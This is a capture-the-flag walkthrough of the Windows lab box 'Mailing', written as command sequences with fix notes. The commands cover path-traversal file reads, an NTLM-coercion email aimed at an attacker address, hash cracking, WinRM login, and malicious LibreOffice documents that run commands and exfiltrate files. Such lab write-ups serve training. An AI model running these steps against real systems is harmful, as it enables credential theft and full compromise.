Mailing
Summary
Target mailing ($TARGET, Windows Server 2019) ran an IIS 10.0 web application and a full hMailServer mail stack. A path-traversal flaw in the site's download.php endpoint let me read the hMailServer INI configuration file, fingerprinting the installed software and leaking a crackable admin password hash.
The real foothold came from NTLM coercion: an email containing a UNC moniker link was sent to the server's mailbox via SMTP; the Windows mail client automatically resolved the UNC path, and a Responder listener captured user maya's NetNTLMv2 hash. Hashcat cracked it to the plaintext password, which validated over WinRM for an interactive shell and access to the user flag.
Privilege escalation chained two weaknesses: a world-writable network share (C:\ProgramData\UpdateMonitor, exposed as SMB share 'Important') was periodically opened by a background process running as the privileged localadmin account, and LibreOffice 7.4 on the server was unpatched for CVE-2023-2255, a flaw allowing embedded Basic macros in crafted ODT documents to execute silently on open. Dropping a malicious ODT into the share caused the watcher to execute my own command as localadmin; iterating payloads confirmed blind code execution and ultimately exfiltrated root.txt back through the same share, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full TCP scan with service and version detection.
$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txtAdd the discovered virtual host to local DNS resolution.
$ echo "$TARGET mailing.htb" | sudo tee -a /etc/hostsConfirm the vhost reaches the mail portal application.
$ curl -s -H 'Host: mailing.htb' "http://$TARGET/"Exact commands 2
Traverse to the hMailServer INI file; adjust traversal depth if needed.
$ curl -s -H 'Host: mailing.htb' "http://$TARGET/download.php?file=..%5c..%5c..%5c..%5c..%5c..%5cProgram%20Files%20(x86)%5chMailServer%5cBin%5chMailServer.INI"Alternative traversal to verify read access to arbitrary files before targeting the INI.
$ curl -s -H 'Host: mailing.htb' "http://$TARGET/download.php?file=..%5c..%5c..%5c..%5c..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"FixEliminate the path-traversal vulnerability in download.phpCritical
Exact commands 2
Start Responder on the VPN interface to catch inbound SMB auth. Run in a dedicated terminal before sending the email.
$ sudo responder -I tun0 -dwvReplace $ATTACKER_IP with your tun0 address. The mail client will auto-resolve the UNC path on open.
$ swaks --server $TARGET --port 587 --to maya@mailing.htb --from $USERNAME@mailing.htb --header 'Subject: Action Required' --body '<a href="file:///\\\\'"$ATTACKER_IP"'\\share\\document.rtf">View document</a>' --add-header 'Content-Type: text/html'FixBlock outbound NTLM authentication to externally controlled serversHigh
Exact commands 2
Copy the captured hash from Responder's log directory.
$ cp /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txt maya_hash.txtMode 5600 = NetNTLMv2. Drop --force when running on native hardware with a supported GPU.
$ hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt --forceFixEnforce strong password requirements and protect credential storesHigh
Exact commands 3
Validate WinRM access; expect (Pwn3d!) in the output.
$ nxc winrm $TARGET -u maya -p "$PASSWORD2"Open an interactive PowerShell session as maya.
$ evil-winrm -i $TARGET -u maya -p "$PASSWORD2"Read the user flag from within the evil-winrm session; value: <user.txt>
$ type C:\Users\maya\Desktop\user.txtExact commands 3
List accessible SMB shares; look for the 'Important' share mapping to C:\IMPORT~1.
$ nxc smb $TARGET -u maya -p "$PASSWORD2" --sharesRun from the evil-winrm session to inspect the monitored drop folder.
$ Get-ChildItem C:\ProgramData\UpdateMonitor -ForceConfirm world-writable permissions on the drop folder.
$ icacls C:\ProgramData\UpdateMonitorFixRestrict the UpdateMonitor drop folder to the owning service account onlyHigh
Exact commands 4
Clone the public PoC to get the ODT builder. Review its code before running.
$ git clone https://github.com/elweth-sec/CVE-2023-2255 /tmp/CVE-2023-2255 && cd /tmp/CVE-2023-2255Build a probe ODT that writes whoami output to the accessible share. Confirm execution before escalating.
$ python3 CVE-2023-2255.py --cmd 'cmd.exe /c whoami > C:\IMPORT~1\out.txt' --output /tmp/probe.odtUpload the malicious ODT to the monitored share. Wait for the watcher to open it (typically under a minute).
$ smbclient //$TARGET/Important -U "maya%$PASSWORD2" -c 'put /tmp/probe.odt probe.odt'Retrieve the command output file after the watcher runs the macro; expect 'mailing\localadmin'.
$ smbclient //$TARGET/Important -U "maya%$PASSWORD2" -c 'get out.txt'FixPatch LibreOffice and prevent privileged processes from opening untrusted documentsCritical
Exact commands 3
Build the final ODT that copies root.txt to the SMB-accessible share.
$ python3 CVE-2023-2255.py --cmd 'cmd.exe /c copy C:\Users\localadmin\Desktop\root.txt C:\IMPORT~1\r2.txt' --output /tmp/copy_root.odtUpload to the drop folder; wait for the privileged watcher to open and execute it.
$ smbclient //$TARGET/Important -U "maya%$PASSWORD2" -c 'put /tmp/copy_root.odt copy_root.odt'Retrieve the exfiltrated root flag; value: <root.txt>
$ smbclient //$TARGET/Important -U "maya%$PASSWORD2" -c 'get r2.txt'Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 25/tcp | smtp hMailServer smtpd |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 110/tcp | pop3 hMailServer pop3d |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 143/tcp | imap hMailServer imapd |
| 445/tcp | microsoft-ds? |
| 465/tcp | ssl/smtp hMailServer smtpd |
| 587/tcp | smtp hMailServer smtpd |
| 993/tcp | ssl/imap hMailServer imapd |
| 5040/tcp | unknown recon-sweep-discovered |
| 7680/tcp | pando-pub? |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 50595/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.